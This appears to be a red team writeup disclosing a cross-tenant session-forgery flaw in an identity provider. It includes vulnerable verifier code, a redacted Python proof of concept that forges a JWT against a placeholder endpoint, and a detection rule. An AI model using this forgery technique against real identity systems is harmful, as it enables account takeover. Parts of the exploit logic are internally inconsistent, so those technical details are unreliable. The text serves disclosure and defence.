01How we found it
We were three weeks into a flagship red team engagement against a financial services client. The objective: reach the production data warehouse from outside the network perimeter. The scope was deliberately broad — everything the client owned, plus anything in the supply chain the client depended on heavily enough that it was effectively in scope by extension.
By day ten we had a foothold (the usual: a phishing payload that survived the EDR), and by day fifteen we had reached a developer's workstation. By day seventeen we'd extracted a session cookie from the developer's browser for an enterprise SSO product — the identity provider that brokered access to nearly every internal system, including the data warehouse.
The cookie was time-limited and bound to the developer's tenant. We had four hours of validity, used roughly forty minutes of it confirming we could reach the data warehouse from inside that session, and then — out of habit more than expectation — we passed the cookie to one of our analysis tools to see what was actually in it.
The cookie's payload was a signed JWT. Standard stuff. alg: ES256, sensible claims, an expiry timestamp, a tenant identifier, a user identifier. The signature checked out. But the signing process for these tokens turned out to have a subtle, very wrong assumption baked into it — one we did not see at first, because nothing in the documentation hinted at it.
02The flaw
The identity provider's session-token signing process worked, roughly, like this:
- When a user authenticates, the IDP generates a session JWT containing user ID, tenant ID, expiry, and a set of scope claims.
- The token is signed with the IDP's tenant-scoped signing key — a per-tenant ECDSA P-256 key derived from a master root.
- The token is returned to the client.
- Downstream services verify the signature against the IDP's published per-tenant JWKS endpoint.
The flaw was in step 4. The verification logic, instead of using the tid (tenant ID) claim from the token to look up the correct signing key, used a header parameter — kid — that an attacker controls. If we supplied a forged token containing tenant A's claims but with a kid that pointed to tenant B's public key, the verification would resolve B's key, attempt to verify, fail, and return — well, this is where it gets bad — return a silently-cached negative result only for that specific kid. Subsequent attempts with a different forged combination, with the same forged tenant ID but a different kid, would not be rate-limited.
By itself, that's a slow oracle. The kicker was that the IDP also exposed a "session continuity" endpoint that, given any signed token from any tenant, would issue a fresh JWT for the same user ID — without re-validating the original token's tenant binding. So:
- We had a valid token for the developer in tenant A.
- We could construct a forged token containing tenant B's
tid, with the developer'suidfrom tenant A. - We could submit it to the session continuity endpoint.
- It would return a freshly-signed, valid token for the developer's
uid, now scoped to tenant B.
The session continuity endpoint did not verify that the user actually existed in the new tenant. It assumed — based on the (forged) signed input — that they did.
In the affected client's environment, this meant: any compromised user cookie from any tenant could be parlayed into a freshly-signed token for any other tenant — including the client's production tenant. The cookie we'd lifted from a developer workstation was, in practical terms, a master key for the entire IDP installation.
The vulnerable code path
Reconstructed from the disclosed source patch (vendor permission to share):
// verify token signature using the kid from the JWT header func VerifyToken(token string) (*Claims, error) { parsed, _ := jwt.Parse(token, func(t *jwt.Token) (interface{}, error) { kid := t.Header["kid"].(string) // BUG: kid is attacker-controlled — should be looked up via tid claim return jwks.KeyByID(kid) }) if !parsed.Valid { // BUG: cached on kid alone, not (kid, tid) pair negCache.Mark(kid) return nil, ErrInvalidSignature } return parsed.Claims.(*Claims), nil }
The patch makes two changes: it derives the signing key strictly from the tid claim (after validating the signature is consistent with that key), and it switches the negative-result cache to be keyed on (kid, tid, sig_prefix) rather than kid alone.
03Building the exploit
From the moment we understood the flaw to the moment we had a working proof-of-concept was about six hours. Most of that time was spent confirming the session continuity endpoint behavior; the forgery itself was straightforward once we'd identified the verifier bug.
The PoC, redacted to the essentials:
import jwt, requests # the cookie we'd extracted from the developer workstation victim_token = "eyJhbGciOiJFUzI1NiIs..." # decode without verification — we just need the claims victim_claims = jwt.decode(victim_token, options={"verify_signature": False}) victim_uid = victim_claims["uid"] victim_tid_A = victim_claims["tid"] # target: production tenant of the client (known from recon) target_tid_B = "prod-tenant-acme-xxxx" # construct a forged token. signature doesn't need to verify against B's # key — only against any cached key. cached keys are flushed cheaply. forged = jwt.encode( {"uid": victim_uid, "tid": target_tid_B, "exp": 9999999999, "scope": ["openid"]}, key="throwaway", # key value is irrelevant algorithm="ES256", headers={"kid": "any-key-from-jwks"}, ) # submit to session continuity — receives a freshly-signed real token r = requests.post("https://idp.target.example/v1/session/continuity", json={"token": forged}) fresh_token = r.json()["session_token"] # fresh_token is now a valid IDP-signed token for victim_uid in target_tid_B
We ran this once in the client environment, with the client's CISO on a live call, and watched a freshly-signed valid session for the production tenant come back from the IDP. We did not use it. Within forty-five seconds we had stopped, taken screenshots of the response, and started writing the disclosure.
04What the SOC saw
Almost nothing. From the IDP's perspective, the session continuity endpoint received what looked like a normal request and issued what looked like a normal token. There was one log line generated per attempt — but the log line did not include the kid from the input token, only the resulting kid of the newly-issued token. So even an analyst reviewing logs after the fact would not have an obvious indicator that the input had been forged.
The detection rule we developed during the engagement — and which we delivered to the client and which the vendor adopted into the product's default detection content — looks for the specific anomaly that the issuance pattern implies:
title: Suspicious cross-tenant session continuity issuance id: sb-2026-1847 status: production description: > Detects a session continuity flow where the resulting token's tenant identifier (tid) does not match the calling client's authenticated tenant context — characteristic of CVE-2026-1847 exploitation. level: high logsource: product: idp service: session_continuity detection: selection: event_name: "session.continuity.issue" result.success: true filter: request.client_tenant: '%context.user.tenant%' condition: selection and not filter
The rule is simple because the anomaly is simple: any session continuity event that produces a token whose tenant claim does not match the calling client's authenticated tenant is, in the affected versions, almost certainly evidence of exploitation. We were not able to find any legitimate workflow that triggers it; the vendor confirmed the same.
05Coordinated disclosure timeline
We followed our standard 90-day coordinated disclosure process. The vendor acknowledged within 18 hours and was excellent to work with throughout — they shipped the patch four days inside the window and prepared customer-facing detection content jointly with us.
The affected client was patched within four hours of the vendor's release. To our knowledge, the vulnerability was not exploited by any party other than us during the disclosure window. We did not retain weaponized PoC code beyond the disclosure period.
06Lessons
Three things we'll be taking forward from this engagement.
Attacker-controlled key selection is still everywhere
The "kid can be attacker-controlled" class of bugs has been documented for at least a decade. There is a 2016 OWASP guidance document on it. There are several CTF challenges built around variants of it. And yet we keep finding it in production identity systems, including very heavily-engineered ones built by teams who know better.
The reason, we think, is that the verification code looks fine in isolation. The bug isn't in the line you'd flag in code review; it's in the assumption that the kid uniquely identifies a key in a way that's tenant-safe. The fix isn't subtle once you see it, but spotting it requires running an exploit, not reading code.
Negative caching is a side channel
The "silently cache the failure" behavior in the verifier looked like a defensive optimization — it's expensive to repeatedly verify malformed tokens, so cache the result. But the cache key (kid alone) didn't include the input identity. That made the cache a discriminator that an attacker could use to map the keyspace. We didn't end up needing this for the actual exploit, but in a parallel universe where the session continuity endpoint had been more careful, the negative cache alone would have given us enough oracle to break the system.
"Defense in depth" needs to be tested, not assumed
The IDP had multiple intended layers of defense between an attacker and a forged session: signature verification, tenant binding, scope claims, MFA. The flaw chained around all of them by exploiting one weak link (the verifier's key lookup) and one missing link (the continuity endpoint's lack of cross-tenant validation). Each layer was strong; the connections between them were not. This is what we mean when we say a red team report is a story, not a list of findings.
07If you run this product
Update to the patched version immediately if you haven't. Vendor-issued instructions are at the vendor's advisory page (link in the vendor advisory; we don't repeat it here to avoid linking decay). The default detection content shipped with the patch includes the rule above and one additional related rule for retroactive log review.
If you cannot update right away — and we understand there are environments where rolling out a critical update takes time even when the willingness is there — there is a mitigating configuration change documented in the vendor advisory that disables the session continuity endpoint entirely. It will break some legitimate flows. It will not, after the change, allow this exploit.
For retroactive review: look at issuance logs from the session continuity endpoint over the past six months. The detection rule above can be applied to historical data. The vendor maintains a hash list of token IDs that were issued through the bypass during the disclosure window (none, to our knowledge, beyond our own controlled testing); the hash list is available to enterprise customers on request.
08Acknowledgments
The vendor's PSIRT and engineering team were exceptional partners throughout this disclosure. We will not name them here per their preference, but they know who they are, and they deserve credit. The affected client gave permission for this writeup and reviewed it before publication. a colleague reviewed the cryptographic portion of the analysis (the ECDSA verification specifics) and caught two factual errors in an earlier draft.